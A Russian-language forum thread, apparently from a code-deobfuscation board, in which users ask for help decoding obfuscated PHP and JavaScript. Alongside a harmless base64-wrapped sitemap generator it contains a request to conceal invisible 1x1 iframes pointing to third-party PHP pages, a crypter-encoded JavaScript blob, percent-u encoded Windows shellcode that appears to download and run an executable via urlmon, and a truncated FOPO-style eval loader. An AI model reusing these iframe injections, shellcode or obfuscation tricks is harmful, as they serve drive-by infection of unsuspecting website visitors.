а помоему всё норм расшифровалось, именна переменых часто ставят что-то типа $ZrV0VdSRuUd1C2bTbu так код тяжелее читаеться.
Kaimi, как считаешь, это нормальный декодинг? PHP: $DGsLKvCm27eV = basename($ZrV0VdSRuUd1C2bTbu['xs_smname']); Пост #441
я не считаю, так как начало декодированого скрипта идет в виде PHP: parser = new M4bffp5cql9B4L1("pages/"); $DGsLKvCm27eV = basename($ZrV0VdSRuUd1C2bTbu['xs_smname']); $this->uurl_p = dirname($ZrV0VdSRuUd1C2bTbu['xs_smurl']).'/'; $this->furl_p = dirname($ZrV0VdSRuUd1C2bTbu['xs_smname']).'/'; if($ZrV0VdSRuUd1C2bTbu['xs_chlog']) $uneVFDEGBQ7F = $this->qIAc2k9fh0vlEajUm($DGsLKvCm27eV); $VQAXwSjJPIxpPDQ5i5S = $I7oacdy2vLiEw = array(); $this->fop = $ZrV0VdSRuUd1C2bTbu['xs_compress'] ? array('fopen' => 'gzopen', 'fwrite' => 'gzwrite', 'fclose' => 'gzclose' ) : array('fopen' => 'fopen', 'fwrite' => 'fwrite', 'fclose' => 'fclose' ) ; $this->fapp = $ZrV0VdSRuUd1C2bTbu['xs_compress'] ? '.gz' : ''; $AdSeH3KPw4 = $this->gjes5dlaEn2oV($ZrV0VdSRuUd1C2bTbu, $urls_completed, $VQAXwSjJPIxpPDQ5i5S, $ZrV0VdSRuUd1C2bTbu['xs_chlog']); if(count($AdSeH3KPw4)>1) { $xf = $this->gYT2DH5A_($AdSeH3KPw4); array_unshift($AdSeH3KPw4, $this->uurl_p.TpMaRXMDxB2($DGsLKvCm27eV,$xf,$this->furl_p,$ZrV0VdSRuUd1C2bTbu['xs_compress']) ); } if($ZrV0VdSRuUd1C2bTbu['xs_chlog']) { $bgOU73TJ7jwvdKa5Vq = array_diff($VQAXwSjJPIxpPDQ5i5S,$uneVFDEGBQ7F); $rc3b9mqz2jbp = array_diff($uneVFDEGBQ7F,$VQAXwSjJPIxpPDQ5i5S); $bgOU73TJ7jwvdKa5Vq = array_slice($bgOU73TJ7jwvdKa5Vq, 0, 1000); $rc3b9mqz2jbp = array_slice($rc3b9mqz2jbp, 0, 1000); } $fRRNOswmJ = array_merge($FRy4YMXr_PT, array( 'files' => $AdSeH3KPw4, 'newurls' => $bgOU73TJ7jwvdKa5Vq, 'losturls'=> $rc3b9mqz2jbp, )); $HknvIMZfUroGmi3 = date('Y-m-d H-i-s').'.log'; TpMaRXMDxB2($HknvIMZfUroGmi3,serialize($fRRNOswmJ)); $this->FyqopbSBljsknT1TH($DGsLKvCm27eV); return $fRRNOswmJ; } в конце видно что это функция, а где начало этой функции неизвестно. Вопрос открыт. Помоги декодировать скрипт PHP: <?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. eval(base64_decode('Pz48P3BocApjbGFzcyBYTUxDcmVhdG9yCnsKZnVuY3Rpb24gcFRSY1dwRmpIOFdxWUc3NCgkWnJWMFZkU1J1VWQxQzJiVGJ1LCAkdXJsc19jb21wbGV0ZWQsICRGUnk0WU1Ycl9QVCkKewppbmNsdWRlIFN2aDIzbXNWUzNHU0xkaklocS4nY2xhc3MudGVtcGxhdGVzLmluYy5waHAnOwokdGhpcy0+cGFyc2VyID0gbmV3IE00YmZmcDVjcWw5QjRMMSgicGFnZXMvIik7CiRER3NMS3ZDbTI3ZVYgPSBiYXNlbmFtZSgkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19zbW5hbWUnXSk7CiR0aGlzLT51dXJsX3AgPSBkaXJuYW1lKCRaclYwVmRTUnVVZDFDMmJUYnVbJ3hzX3NtdXJsJ10pLicvJzsKJHRoaXMtPmZ1cmxfcCA9IGRpcm5hbWUoJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfc21uYW1lJ10pLicvJzsKaWYoJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfY2hsb2cnXSkKJHVuZVZGREVHQlE3RiA9ICR0aGlzLT5xSUFjMms5ZmgwdmxFYWpVbSgkREdzTEt2Q20yN2VWKTsKJFZRQVh3U2pKUEl4cFBEUTVpNVMgPSAkSTdvYWNkeTJ2TGlFdyA9IGFycmF5KCk7CiR0aGlzLT5mb3AgPSAkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19jb21wcmVzcyddID8KYXJyYXkoJ2ZvcGVuJyA9PiAnZ3pvcGVuJywgJ2Z3cml0ZScgPT4gJ2d6d3JpdGUnLCAnZmNsb3NlJyA9PiAnZ3pjbG9zZScgKSA6CmFycmF5KCdmb3BlbicgPT4gJ2ZvcGVuJywgJ2Z3cml0ZScgPT4gJ2Z3cml0ZScsICdmY2xvc2UnID0+ICdmY2xvc2UnICkKOwokdGhpcy0+ZmFwcCA9ICRaclYwVmRTUnVVZDFDMmJUYnVbJ3hzX2NvbXByZXNzJ10gPyAnLmd6JyA6ICcnOwokQWRTZUgzS1B3NCA9ICR0aGlzLT5namVzNWRsYUVuMm9WKCRaclYwVmRTUnVVZDFDMmJUYnUsICR1cmxzX2NvbXBsZXRlZCwgJFZRQVh3U2pKUEl4cFBEUTVpNVMsICRaclYwVmRTUnVVZDFDMmJUYnVbJ3hzX2NobG9nJ10pOwppZihjb3VudCgkQWRTZUgzS1B3NCk+MSkKewokeGYgPSAkdGhpcy0+Z1lUMkRINUFfKCRBZFNlSDNLUHc0KTsKYXJyYXlfdW5zaGlmdCgkQWRTZUgzS1B3NCwgCiR0aGlzLT51dXJsX3AuVHBNYVJYTUR4QjIoJERHc0xLdkNtMjdlViwkeGYsJHRoaXMtPmZ1cmxfcCwkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19jb21wcmVzcyddKQopOwp9CmlmKCRaclYwVmRTUnVVZDFDMmJUYnVbJ3hzX2NobG9nJ10pCnsKJGJnT1U3M1RKN2p3dmRLYTVWcSA9IGFycmF5X2RpZmYoJFZRQVh3U2pKUEl4cFBEUTVpNVMsJHVuZVZGREVHQlE3Rik7CiRyYzNiOW1xejJqYnAgPSBhcnJheV9kaWZmKCR1bmVWRkRFR0JRN0YsJFZRQVh3U2pKUEl4cFBEUTVpNVMpOwokYmdPVTczVEo3and2ZEthNVZxICA9IGFycmF5X3NsaWNlKCRiZ09VNzNUSjdqd3ZkS2E1VnEsICAwLCAxMDAwKTsKJHJjM2I5bXF6MmpicCA9IGFycmF5X3NsaWNlKCRyYzNiOW1xejJqYnAsIDAsIDEwMDApOwp9CiRmUlJOT3N3bUogPSBhcnJheV9tZXJnZSgkRlJ5NFlNWHJfUFQsCmFycmF5KAonZmlsZXMnICAgPT4gJEFkU2VIM0tQdzQsCiduZXd1cmxzJyA9PiAkYmdPVTczVEo3and2ZEthNVZxLAonbG9zdHVybHMnPT4gJHJjM2I5bXF6MmpicCwKKSk7CiRIa252SU1aZlVyb0dtaTMgPSBkYXRlKCdZLW0tZCBILWktcycpLicubG9nJzsKVHBNYVJYTUR4QjIoJEhrbnZJTVpmVXJvR21pMyxzZXJpYWxpemUoJGZSUk5Pc3dtSikpOwokdGhpcy0+Rnlxb3BiU0JsanNrblQxVEgoJERHc0xLdkNtMjdlVik7CnJldHVybiAkZlJSTk9zd21KOwp9CgpmdW5jdGlvbiBuWlBQMW1uNXNzN2RybygkcGYpCnsKZ2xvYmFsICRMd1J1bnprOWNfZ0lBUkhwOwppZighJHBmKXJldHVybjsKJHRoaXMtPmZvcFsnZndyaXRlJ10oJHBmLCAkTHdSdW56azljX2dJQVJIcFszXSk7CiR0aGlzLT5mb3BbJ2ZjbG9zZSddKCRwZik7Cn0KZnVuY3Rpb24gZ2dyTEVKUksxbE5sKCRwZikKewpnbG9iYWwgJEx3UnVuems5Y19nSUFSSHA7CiR0aGlzLT5mb3BbJ2Z3cml0ZSddKCRwZiwgJEx3UnVuems5Y19nSUFSSHBbMV0pOwp9CmZ1bmN0aW9uIGdZVDJESDVBXygkSTdvYWNkeTJ2TGlFdyl7CiR0S1ZFOHhsZm16U1d5ID0gIiI7CiRIMkNlMmEwSG1GeGwgPSBpbXBsb2RlKCcnLCBmaWxlKFN2aDIzbXNWUzNHU0xkaklocS4nc2l0ZW1hcF9pbmRleF90cGwueG1sJykpOwpwcmVnX21hdGNoKCcjXiguKiklU0lURU1BUFNfTElTVF9GUk9NJSguKiklU0lURU1BUFNfTElTVF9UTyUoLiopJCNpcycsICRIMkNlMmEwSG1GeGwsICRRRlVWc1lDNE1EMFg4eCk7CmZvcigkaT0wOyRpPGNvdW50KCRJN29hY2R5MnZMaUV3KTskaSsrKQokdEtWRTh4bGZtelNXeS49CiR0aGlzLT5wYXJzZXItPmI2QWRHNmJDeWFZZygkUUZVVnNZQzRNRDBYOHhbMl0sIGFycmF5KAonVVJMJz0+JEk3b2FjZHkydkxpRXdbJGldLAonTEFTVE1PRCc9PmRhdGUoJ1ktbS1kXFRIOmk6cyswMDowMCcpCikpOwpyZXR1cm4gJFFGVVZzWUM0TUQwWDh4WzFdIC4gJHRLVkU4eGxmbXpTV3kgLiAkUUZVVnNZQzRNRDBYOHhbM107Cn0KZnVuY3Rpb24gZ2plczVkbGFFbjJvVigkWnJWMFZkU1J1VWQxQzJiVGJ1LCAkdXJsc19jb21wbGV0ZWQsICYkVlFBWHdTakpQSXhwUERRNWk1UywgJGtFTThLTXBiOUUpCnsKZ2xvYmFsICRMd1J1bnprOWNfZ0lBUkhwLCAkeU1CczJPUExWVnVBSywgJFp6SzlGMHc2MXZsd01OOwokSDJDZTJhMEhtRnhsID0gaW1wbG9kZSgnJywgZmlsZShTdmgyM21zVlMzR1NMZGpJaHEuJ3NpdGVtYXBfeG1sX3RwbC54bWwnKSk7CnByZWdfbWF0Y2goJyNeKC4qKSVVUkxTX0xJU1RfRlJPTSUoLiopJVVSTFNfTElTVF9UTyUoLiopJCNpcycsICRIMkNlMmEwSG1GeGwsICRMd1J1bnprOWNfZ0lBUkhwKTsKCiRMd1J1bnprOWNfZ0lBUkhwWzFdID0gc3RyX3JlcGxhY2UoJ3d3dy54bWwtc2l0ZW1hcHMuY29tJywgJ3d3dy54bWwtc2l0ZW1hcHMuY29tICgnLiBOeFhpemx2djAyR0pXLicpJywgJEx3UnVuems5Y19nSUFSSHBbMV0pOwokUEhwcWpzdVJwejI1T3UgPSBpbXBsb2RlKCcnLCBmaWxlKFN2aDIzbXNWUzNHU0xkaklocS4nc2l0ZW1hcF9yb3JfdHBsLnhtbCcpKTsKcHJlZ19tYXRjaCgnI14oLiopJVVSTFNfTElTVF9GUk9NJSguKiklVVJMU19MSVNUX1RPJSguKikkI2lzJywgJFBIcHFqc3VScHoyNU91LCAkeU1CczJPUExWVnVBSyk7CiRVaFc4Unh1aDByR1RwUVEgPSBpbXBsb2RlKCcnLCBmaWxlKFN2aDIzbXNWUzNHU0xkaklocS4nc2l0ZW1hcF9iYXNlX3RwbC54bWwnKSk7CnByZWdfbWF0Y2goJyNeKC4qKSVVUkxTX0xJU1RfRlJPTSUoLiopJVVSTFNfTElTVF9UTyUoLiopJCNpcycsICRVaFc4Unh1aDByR1RwUVEsICRaeks5RjB3NjF2bHdNTik7CiRjdGltZSA9IGRhdGUoJ1ktbS1kIEg6aTpzJyk7CiRlWDJOOUFEeWZMeTZKZzkgPSAwOwokREdzTEt2Q20yN2VWID0gYmFzZW5hbWUoJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfc21uYW1lJ10pOwokdGhpcy0+czFDcDBtTXF1Z2Y4SG1QTigkREdzTEt2Q20yN2VWKTsKJGNRb1IwZmdQejFNbiA9IGdldF9odG1sX3RyYW5zbGF0aW9uX3RhYmxlKEhUTUxfRU5USVRJRVMsIEVOVF9RVU9URVMpOwpmb3JlYWNoICgkY1FvUjBmZ1B6MU1uIGFzICRBeFFySHBXQWhiRiA9PiAkQTE4bG5ienNpTCkKJGNRb1IwZmdQejFNblskQXhRckhwV0FoYkZdID0gJyYjJy5vcmQoJEF4UXJIcFdBaGJGKS4nOyc7CnVuc2V0KCRjUW9SMGZnUHoxTW5bJyYnXSk7CmZvcigkaT0wOyRpPDMxOyRpKyspCiRjUW9SMGZnUHoxTW5bY2hyKCRpKV0gPSAnJiMnLiRpLic7JzsKJGNRb1IwZmdQejFNbltjaHIoMCldID0gJGNRb1IwZmdQejFNbltjaHIoMTApXSA9ICRjUW9SMGZnUHoxTW5bY2hyKDEzKV0gPSAnJzsKJEk3b2FjZHkydkxpRXc9YXJyYXkoKTsKJHBmID0gMDsKaWYoJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfbWFrZXR4dCddKQokZ25GZTFfQUNmM1RIbzVmU1ZUID0gJHRoaXMtPmZvcFsnZm9wZW4nXShscVFzaHVRcV9ZeF9TRy4kdGhpcy0+ZmFwcCwgJ3cnKTsKaWYoJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfbWFrZXJvciddKQp7CiRtNTFUT19fX1l3RmpaWCA9IGZvcGVuKG4xeExGeVZtb2JraXd3bi4kdGhpcy0+ZmFwcCwgJ3cnKTsKJHJjID0gc3RyX3JlcGxhY2UoJyVJTklUX1VSTCUnLCAkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19pbml0dXJsJ10sICR5TUJzMk9QTFZWdUFLWzFdKTsKZndyaXRlKCRtNTFUT19fX1l3RmpaWCwgJHJjKTsKfQppZigwJiYkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19tYWtlYmFzZSddKQp7CiRpZHJQR0FCZmM0eXVzbFkgPSAkdGhpcy0+Zm9wWydmb3BlbiddKFVMTkxNOXNWOTY4LiR0aGlzLT5mYXBwLCAndycpOwokcmMgPSBzdHJfcmVwbGFjZSgnJUlOSVRfVVJMJScsICRaclYwVmRTUnVVZDFDMmJUYnVbJ3hzX2luaXR1cmwnXSwgJFp6SzlGMHc2MXZsd01OWzFdKTsKJHRoaXMtPmZvcFsnZndyaXRlJ10oJGlkclBHQUJmYzR5dXNsWSwgJHJjKTsKfQokam1UUHFLNFVIbWV4eHdZdVlEZiA9ICRaclYwVmRTUnVVZDFDMmJUYnVbJ3hzX3NtX3NpemUnXT8kWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19zbV9zaXplJ106NTAwMDA7CmZvcigkaT0wOyRpPGNvdW50KCR1cmxzX2NvbXBsZXRlZCk7JGkrKykKeyAgIAppZigoJGklJGptVFBxSzRVSG1leHh3WXVZRGYpID09IDApCnsKJG82dFRzdk5GWE4gPSAoY291bnQoJHVybHNfY29tcGxldGVkKT4kam1UUHFLNFVIbWV4eHdZdVlEZj9MbEdVZEZnNnkzbGU1WFFEajUoY291bnQoJEk3b2FjZHkydkxpRXcpKzEsJERHc0xLdkNtMjdlVik6JERHc0xLdkNtMjdlVikuJHRoaXMtPmZhcHA7CiRJN29hY2R5MnZMaUV3W10gPSAkdGhpcy0+dXVybF9wLiRvNnRUc3ZORlhOOwokdGhpcy0+blpQUDFtbjVzczdkcm8oJHBmKTsKJHBmID0gJHRoaXMtPmZvcFsnZm9wZW4nXSgkdGhpcy0+ZnVybF9wLiRvNnRUc3ZORlhOLCd3Jyk7CiR0aGlzLT5nZ3JMRUpSSzFsTmwoJHBmKTsKfQokY3UgPSAmJHVybHNfY29tcGxldGVkWyRpXTsKJGwgPSAkY3VbJ2xpbmsnXTsKCiRsID0gc3RydHIoJGwsICRjUW9SMGZnUHoxTW4pOwoKJGwgPSBwcmVnX3JlcGxhY2UoIi8mKD8hW0EtWmEtel17MCw0fVx3ezIsM307fCNbMC05XXsyLDR9OykvIiwiJmFtcDsiICwgJGwpOwokdCA9IHN0cl9yZXBsYWNlKCImIiwgIiZhbXA7IiwgJGN1Wyd0J10pOwokZCA9ICRjdVsnZCddPyRjdVsnZCddOiRjdVsndCddOwokZCA9IHN0cl9yZXBsYWNlKCImIiwgIiZhbXA7IiwgJGQpOwoKaWYoZnVuY3Rpb25fZXhpc3RzKCd1dGY4X2VuY29kZScpKQp7CgppZighJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfdXRmOCddKQp7CiR0ID0gdXRmOF9lbmNvZGUoJHQpOwokZCA9IHV0ZjhfZW5jb2RlKCRkKTsKfQokbCA9IHV0ZjhfZW5jb2RlKCRsKTsKfQokY3VbJ2xpbmsnXT0kbDsKaWYoJGtFTThLTXBiOUUpICRWUUFYd1NqSlBJeHBQRFE1aTVTW109JGw7CiRQR3ZRUmE0MXR3VHpuMyA9ICcnOwppZigkY3VbJ2NsbSddKQokUEd2UVJhNDF0d1R6bjMgPSAkY3VbJ2NsbSddOwplbHNlCnN3aXRjaCgkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19sYXN0bW9kJ10pewpjYXNlIDE6JFBHdlFSYTQxdHdUem4zID0gJGN1WydsbSddPyRjdVsnbG0nXTokY3RpbWU7YnJlYWs7CmNhc2UgMjokUEd2UVJhNDF0d1R6bjMgPSAkY3RpbWU7YnJlYWs7CmNhc2UgMzokUEd2UVJhNDF0d1R6bjMgPSAkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19sYXN0bW9kdGltZSddO2JyZWFrOwp9CmlmKCRjdVsncCddKQokcCA9ICRjdVsncCddOwplbHNlCnsKJHAgPSAkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19wcmlvcml0eSddOwppZigkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19hdXRvcHJpb3JpdHknXSkKJHAgPSBAbnVtYmVyX2Zvcm1hdCgkcCpwb3coJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfZGVzY3ByaW9yaXR5J10/JFpyVjBWZFNSdVVkMUMyYlRidVsneHNfZGVzY3ByaW9yaXR5J106MC44LCRjdVsnbyddKSwyKTsKfQppZigkUEd2UVJhNDF0d1R6bjMpewokUEd2UVJhNDF0d1R6bjMgPSBzdHJ0b3RpbWUoJFBHdlFSYTQxdHdUem4zKTsKJFBHdlFSYTQxdHdUem4zID0gZGF0ZSgnWS1tLWRcVEg6aTpzKzAwOjAwJywkUEd2UVJhNDF0d1R6bjMpOwp9CiRmID0gJGN1WydmJ10/JGN1WydmJ106JFpyVjBWZFNSdVVkMUMyYlRidVsneHNfZnJlcSddOwokc3hMZVltMDZsdUZnRyA9IGFycmF5KAonVVJMJz0+JGwsCidUSVRMRSc9PiR0LAonREVTQyc9PiRkLAonUEVSSU9EJz0+JGYsCidMQVNUTU9EJz0+JFBHdlFSYTQxdHdUem4zLAonUFJJT1JJVFknPT4kcAopOwokdGhpcy0+Zm9wWydmd3JpdGUnXSgkcGYsICR0aGlzLT5wYXJzZXItPmI2QWRHNmJDeWFZZygkTHdSdW56azljX2dJQVJIcFsyXSwgJHN4TGVZbTA2bHVGZ0cpKTsKaWYoJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfbWFrZXJvciddKQpmd3JpdGUoJG01MVRPX19fWXdGalpYLCAkdGhpcy0+cGFyc2VyLT5iNkFkRzZiQ3lhWWcoJHlNQnMyT1BMVlZ1QUtbMl0sJHN4TGVZbTA2bHVGZ0cpKTsKaWYoMCYmJFpyVjBWZFNSdVVkMUMyYlRidVsneHNfbWFrZWJhc2UnXSkKJHRoaXMtPmZvcFsnZndyaXRlJ10oJGlkclBHQUJmYzR5dXNsWSwgJHRoaXMtPnBhcnNlci0+YjZBZEc2YkN5YVlnKCRaeks5RjB3NjF2bHdNTlsyXSwkc3hMZVltMDZsdUZnRykpOwppZigkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19tYWtldHh0J10pCiR0aGlzLT5mb3BbJ2Z3cml0ZSddKCRnbkZlMV9BQ2YzVEhvNWZTVlQsICRjdVsnbGluayddLiJcbiIpOwp9CiR0aGlzLT5uWlBQMW1uNXNzN2RybygkcGYpOwppZigkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19tYWtldHh0J10pCiR0aGlzLT5mb3BbJ2ZjbG9zZSddKCRnbkZlMV9BQ2YzVEhvNWZTVlQpOwppZigkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19tYWtlcm9yJ10pCnsKZndyaXRlKCRtNTFUT19fX1l3RmpaWCwgJHlNQnMyT1BMVlZ1QUtbM10pOwpmY2xvc2UoJG01MVRPX19fWXdGalpYKTsKfQppZigwJiYkWnJWMFZkU1J1VWQxQzJiVGJ1Wyd4c19tYWtlYmFzZSddKQp7CiR0aGlzLT5mb3BbJ2Z3cml0ZSddKCRpZHJQR0FCZmM0eXVzbFksICRaeks5RjB3NjF2bHdNTlszXSk7CiR0aGlzLT5mb3BbJ2ZjbG9zZSddKCRpZHJQR0FCZmM0eXVzbFkpOwp9CnJldHVybiAkSTdvYWNkeTJ2TGlFdzsKfQpmdW5jdGlvbiBzMUNwMG1NcXVnZjhIbVBOKCRER3NMS3ZDbTI3ZVYpCnsKZm9yKCRpPTA7ZmlsZV9leGlzdHMoJHNmPWRGMHgzVU9kRzBFbUJ5dlcuTGxHVWRGZzZ5M2xlNVhRRGo1KCRpLCRER3NMS3ZDbTI3ZVYpLiR0aGlzLT5mYXBwKTskaSsrKXsKdW5saW5rKCRzZik7Cn0KfQpmdW5jdGlvbiBGeXFvcGJTQmxqc2tuVDFUSCgkREdzTEt2Q20yN2VWKQp7CmZvcigkaT0wO2ZpbGVfZXhpc3RzKCR0aGlzLT5mdXJsX3AuKCRzZj1MbEdVZEZnNnkzbGU1WFFEajUoJGksJERHc0xLdkNtMjdlVikuJHRoaXMtPmZhcHApKTskaSsrKXsKY29weSgkdGhpcy0+ZnVybF9wLiRzZixkRjB4M1VPZEcwRW1CeXZXLiRzZik7Cn0KfQpmdW5jdGlvbiBxSUFjMms5ZmgwdmxFYWpVbSgkREdzTEt2Q20yN2VWKQp7CiRjbiA9ICcnOwpmb3IoJGk9MDtmaWxlX2V4aXN0cygkc2Y9ZEYweDNVT2RHMEVtQnl2Vy5MbEdVZEZnNnkzbGU1WFFEajUoJGksJERHc0xLdkNtMjdlVikuJHRoaXMtPmZhcHApOyRpKyspCnsKCiRjbiAuPSAkdGhpcy0+ZmFwcD9pbXBsb2RlKCcnLGd6ZmlsZSgkc2YpKTpCMHRjaFNOdDJLcmtjKCRzZik7Cn0KcHJlZ19tYXRjaF9hbGwoJyM8bG9jPiguKj8pPC9sb2M+IycsJGNuLCR1bSk7CnJldHVybiAkdW1bMV07Cn0KfQokSHhCcmVKTEVfUiA9IG5ldyBYTUxDcmVhdG9yKCk7Cj8+')); ?>
Заменяешь eval на echo и выполняешь скрипт - получаешь код. Имена переменных и функций если только руками заменять.
Что зашифровано Нужна помощь с расшифровкой, а то здесь реклама мешает работе сайта HTML: http://hikage.clan.su/js/ui2.js
Спрятать URL подскажите пож. как (спрятать) url или если возможно весь скрипт, я че то пытался но он не читается на хосте <iframe src="http://www.site/fonts/_notes/theme/index.php" width=1 height=1 style="display:none"></iframe> пытался так: <iframe src="aHR0cDovL3d3dy5zdm9zLm9ery9mb250cy9fbm90ZXMvdGhlbWUvaW5kZXgucGhw" width=1 height=1 style="display:none"></iframe> и так <iframe src="%68%74%74%70%21%2F%2F%77%77%77%2E%73%76%6F%73%2E%6F%72%67" width=1 height=1 style="display:none"></iframe>
HTML: function q44bbae4d65(r0){var y2=String,y8=r0.substr(u6(),3)-392,p8,vc;r0=r0.substr(oa());var vd=q8(r0);for(var n2=0;n2<vd;n2++){try{throw(uc=r0.substr(n2,1));}catch(e){uc=e;};if(uc=='–'){y8="";n2=w4(n2);qb=pd(r0,n2);while(qb!='–'){y8+=qb;n2++;qb=r0.substr(n2,1);}y8-=533;continue;}p8="";if(uc=='®'){n2++;uc=r0.substr(n2,1);while(uc!='®'){p8+=uc;n2++;uc=r0.substr(n2,1);}p8=u0(p8,y8,9);if(p8<0)p8+=256;if(p8>=192)p8+=848;else if(p8==168)p8=1025;else if(p8==184)p8=1105;p7(p8);continue;}t6=t3(uc);if(t6>848)t6-=848;vc=t6-y8-9;vc=p1(vc);document.write(y2["f\x72o\x6dCh\x61\x72\x43\x6fd\x65"](vc));}}q44bbae4d65("ccf69e9a8f430511®188®й–587–®165®®177®®160®®172®®164®_®178®®177®–610–®185®®147®x–633–Х–699–##®31®йЮЮ&&–719–:с6,7–553–®130®L®131®–563–®150®®149®®155®®154®–579–f®150®®165®®166®®171®®156®®170®f®171®®159®®156®–563–®148®®140®V®144®–562–®148®–549–®125®®126®®145®G®137®®129®®137®;–577–U®172®–726–3–585–®161®®177®®165®–713–ъ–535–<+–707–®31®®28®®32®–714–%–705–®29®–559–®151®`–548–I–564–H®155®–718–6;–691–®19®®12®–647–®184®–689–З®9®®14®–560–®151®®148®®144®®133®–601–Ж®135®®187®®188®®187®–653–ж®163®®191®–678–Ц–731–ю–589–®170®®167®–676–®10®щ®5®эЦ");function u6(){return 13;}function oa(){return 16;}function q8(vf){return vf.length;}function w4(yc){return ++yc;}function pd(x4,u7){return x4.substr(u7,1);}function u0(xc,sc,v8){return xc-sc-v8;}function p7(r2){var y2=String;document.write(y2["f\x72o\x6dCh\x61\x72\x43\x6fd\x65"](r2));}function p1(x0){var ye=x0;if(ye<0)ye+=256;if(ye==168)ye=1025;else if(ye==184)ye=1105;return (ye>=192 && ye<256) ? ye+848 : ye;}function t3(s9){return (s9+'')["\x63\x68\x61\x72Co\x64\x65\x41\x74"](0);}
вот этот код можно спрятать как ни будь <iframe src="http://naplesluxuryproperties.com/daniel/common/css/ar/index.php" width=1 height=1 style="display:none"></iframe> спасибо
http://kaimi.ru/2011/03/crypt-javascript-html-vbs/ Код из предыдущего поста получен с помощью этого же криптора.
По вашему запросу ничего не найдено.</h3><br/>Не переживайте!<br/>Знаете кого-то из <b></b>?<br/><a href='/'>Отправьте</a> ему или ей анонимное приглашение на сайт<br/>И вы сможете начать флирт.
Вот что получилось: <uploader type="Q-ImageUploader" program_version="1.0"> <general name="Simple uploading" description="simple template, just uploading; intro is disabled" width="600" height="450" view="thumbs" viewBoxWidth="561" viewBoxHeight="330" viewBoxXPos="20" viewBoxYPos="45" controlBoxXPos="0" controlBoxYPos="0" backgroundColor="0xFFFFFF" backgroundImage="image_uploader_data/bg.gif" fontName="Arial" fontColor="0x030071" fontSize="12" urlToUpload="upload.php" urlOnUploadSuccess="" urlOnUploadFail="upload_fail.php" urlUpdateFlashPlayer="" thumbFillColor="0xBEBEBE" thumbFillAlpha="70" thumbBorderColor="0x030071" thumbBorderThickness="1" thumbBorderAlpha="50" niamod_lagel0="example.com" niamod_lagel1="example.com" niamod_lagel2="example.com" thumbColorOver="0xF0F0F0" thumbOverAlpha="100" thumbBorderColorOver="0x030071" thumbBorderThicknessOver="1" thumbBorderAlphaOver="100" thumbColorSelected="0xF0F0F0" thumbSelectedAlpha="100" thumbBorderColorSelected="0x030071" thumbBorderThicknessSelected="1" thumbBorderAlphaSelected="100" detailRowHeight="20" detailsFillColor="0xBEBEBE" detailsFillAlpha="70" detailsBorderColor="0x030071" detailsBorderThickness="1" detailsBorderAlpha="50" detailsColorOver="0xEAEAEA" detailsOverAlpha="100" detailsBorderColorOver="0x030071" detailsBorderThicknessOver="1" detailsBorderAlphaOver="100" detailsColorSelected="0xEAEAEA" detailsSelectedAlpha="100" detailsBorderColorSelected="0x030071" detailsBorderThicknessSelected="1" detailsBorderAlphaSelected="100" btnFillColor="0x030071" btnFillAlpha="100" btnBorderColor="0x030071" btnBorderAlpha="100" btnCorner="14" btnOverFillColor="0x030071" btnOverFillAlpha="75" btnOverBorderColor="0x0B0952" btnOverBorderAlpha="100" right_click_text="" right_click_url="" show_quadroland_link="true" thumbShowHints="false" btnFontColor="0xFFFFFF" btnFontSize="13" useAnotherFntColorForComboAndInput="false" fntColorForComboAndInput="0x000000"/></uploader>. Только это тебе ничего не даст т.к отредактировав надо ведь обратно закодировать....
не могли бы мне помоч (сдесь шелл код) %u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u2e00%u5C2e%u2e7e%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF
Расшифруйте пожалуйста полностью (т.е. до работоспособного кода пхп) этот файл (там что-то типа "*/$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=13536;eval($OOO0000O